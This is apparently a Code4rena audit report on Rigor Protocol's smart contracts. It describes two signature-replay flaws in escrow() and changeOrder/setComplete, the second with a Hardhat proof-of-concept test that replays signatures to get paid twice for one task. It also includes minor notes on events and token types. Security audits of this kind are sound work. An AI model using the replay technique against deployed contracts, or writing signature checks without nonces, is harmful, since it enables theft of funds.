Rigor Protocol contest - bin2chen's results

Lines of code

https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Community.sol#L516-L527

Vulnerability details

Impact

escrow()'s signature does not prevent reuse of the signature, and after the first call, gets the transaction's _data, _signature Reuse the signature to call escrow(_data,_signature) directly to reduce the debt _reduceDebt()

Proof of Concept

escrow() does not have any "state" or "nonce" to prevent repeated calls to the _data and _signature

    function escrow(bytes calldata _data, bytes calldata _signature)
        external
        virtual
        override
        whenNotPaused
    {
        //**********no nonce************//
        // Decode params from _data
        (
            uint256 _communityID,
            address _builder,
            address _lender,
            address _agent,
            address _project,
            uint256 _repayAmount,
            bytes memory _details
        ) = abi.decode(
                _data,
                (uint256, address, address, address, address, uint256, bytes)
            );

        // Compute hash from bytes
        bytes32 _hash = keccak256(_data);

        // Local instance of variable. For saving gas.
        IProject _projectInstance = IProject(_project);

        // Revert if decoded builder is not decoded project's builder
        require(_builder == _projectInstance.builder(), "Community::!Builder");

        // Revert if decoded _communityID's owner is not decoded _lender
        require(
            _lender == _communities[_communityID].owner,
            "Community::!Owner"
        );


        // check signatures
        checkSignatureValidity(_lender, _hash, _signature, 0); // must be lender
        checkSignatureValidity(_builder, _hash, _signature, 1); // must be builder
        checkSignatureValidity(_agent, _hash, _signature, 2); // must be agent or escrow

        // Internal call to reduce debt
        _reduceDebt(_communityID, _project, _repayAmount, _details);
        emit DebtReducedByEscrow(_agent);
    }

Tools Used

Recommended Mitigation Steps

Add Nonce to the signature data of escrow to prevent reuse, it is recommended that all signatures add Nonce.

Lines of code

https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L386 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L474 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/libraries/Tasks.sol#L160

Vulnerability details

Impact

By reusing the signature of changeOrder in Project.sol, the completed task can be reset to the initial (Task.unApprove does not restrict the current task state), and then reuse the signature of setComplete to repeat the task and get the token.

Proof of Concept

The steps are as follows:

1. Assume task[1],current subcontractor = UserA
2. UserA convinces the builder of the project that he wants to change the subcontractor to UserB
3. builder agrees and calls changeOrder, using UserA->UserB's signature_signature_a_to_b
4. At this time, the subcontractor of task[1] = UserB
5. After some time, UserB proposes builder to give the task back to UserA
6. builder agrees and calls changeOrder, using UserB->UserA's signature_signature_b_to_a
7. UserA finalizes the task setComplate, using _signature_complate_a
8. Repeat steps 3-7 , (reuse _signature_a_to_b/_signature_b_to_a/_signature_complate_a) to call changeOrder and setComplate , don't need to ask builder Test example:

  it(' change order twice', async () => {
    const taskID = 1;
    const _taskCost = 2 * taskCost;
    const scUserA = signers[2];
    const scUserB = signers[5];

    //***** change userA to UserB ********//
    const aToBChangeOrderData = {
      types: ['uint256', 'address', 'uint256', 'address'],
      values: [taskID, scUserB.address, _taskCost, project.address],
    };
    const [aToBChangeOrderEncodedData, aToBChangeOrdersignature] =
      await multisig(aToBChangeOrderData, [signers[1], scUserA]);

    await project.changeOrder(
      aToBChangeOrderEncodedData,
      aToBChangeOrdersignature,
    );
    //***** change userB to UserA ********//
    const bToAChangeOrderData = {
      types: ['uint256', 'address', 'uint256', 'address'],
      values: [taskID, scUserA.address, _taskCost, project.address],
    };
    const [bToAChangeOrderEncodedData, bToAChangeOrdersignature] =
      await multisig(bToAChangeOrderData, [signers[1], scUserB]);

    await project.changeOrder(
      bToAChangeOrderEncodedData,
      bToAChangeOrdersignature,
    );

    //***** UserA complete task ********//
    const data = {
      types: ['uint256', 'address'],
      values: [taskID, project.address],
    };
    const [encodedData, signature] = await multisig(data, [
      signers[1],
      scUserA,
    ]);

    const lendCost = (await project.projectCost()).sub(
      await project.totalLent(),
    );
    await mockDAIContract.mock.transferFrom
      .withArgs(signers[0].address, project.address, lendCost)
      .returns(true);
    const lendingTx = await project.lendToProject(lendCost);
    await lendingTx.wait();

    await mockDAIContract.mock.transfer
      .withArgs(scUserA.address, _taskCost)
      .returns(true);
    await mockDAIContract.mock.transfer
      .withArgs(await homeFiContract.treasury(), _taskCost / 1e3)
      .returns(true);
    await project.connect(scUserA).acceptInviteSC([taskID]);
    const tx = await project.setComplete(encodedData, signature);
    tx.wait();

    await expect(tx).to.emit(project, 'TaskComplete').withArgs(taskID);
    //***** reuse changeOrder signature to set task to Inactive ********//
    await project.changeOrder(
      aToBChangeOrderEncodedData,
      aToBChangeOrdersignature,
    );

    await project.changeOrder(
      bToAChangeOrderEncodedData,
      bToAChangeOrdersignature,
    );
    //***** reuse setComplete signature to setComplete ********//
    await mockDAIContract.mock.transfer
      .withArgs(scUserA.address, _taskCost)
      .returns(true);
    await mockDAIContract.mock.transfer
      .withArgs(await homeFiContract.treasury(), _taskCost / 1e3)
      .returns(true);
    await project.connect(scUserA).acceptInviteSC([taskID]);
    const tx2 = await project.setComplete(encodedData, signature);
    tx2.wait();
    await expect(tx2).to.emit(project, 'TaskComplete').withArgs(taskID);
  });

Tools Used

Recommended Mitigation Steps

Add Nonce to the signature data of changeOrder to prevent reuse, it is recommended that all signatures add Nonce.

1.HomeFi.sol setTrustedForwarder() change the forwarder has a great impact, recommended to add events, good for monitoring important event

    /// @inheritdoc IHomeFi
    function setTrustedForwarder(address _newForwarder)
        external
        override
        onlyAdmin
        noChange(trustedForwarder, _newForwarder)
    {
        trustedForwarder = _newForwarder;

        ++++ emit ForwarderReplaced(_newForwarder);
    }

2. project.currency() is not IDebtToken, it should be IERC20 The wrong type of IDebtToken is used, which leads to confusion in understanding the logic of contract, DebtToken is not used for payment and cannot be transfer. Community.sol also has the same problem, suggest to change it to IERC20:

contract Project is
    IProject,
    ReentrancyGuardUpgradeable,
    ERC2771ContextUpgradeable
{
   --- using SafeERC20Upgradeable for IDebtToken;
   +++ using SafeERC20 for IERC20; 

...
...
    ---- IDebtToken public override currency;
    ++++ IERC20 public override currency;
....
}

function initialize(
    address _currency,
    address _sender,
    address _homeFiAddress
) external override initializer {
    // Initialize variables
    homeFi = IHomeFi(_homeFiAddress);
    disputes = homeFi.disputesContract();
    lenderFee = homeFi.lenderFee();
    builder = _sender;
    --- currency = IDebtToken(_currency);
    +++ currency = IERC20(_currency);
}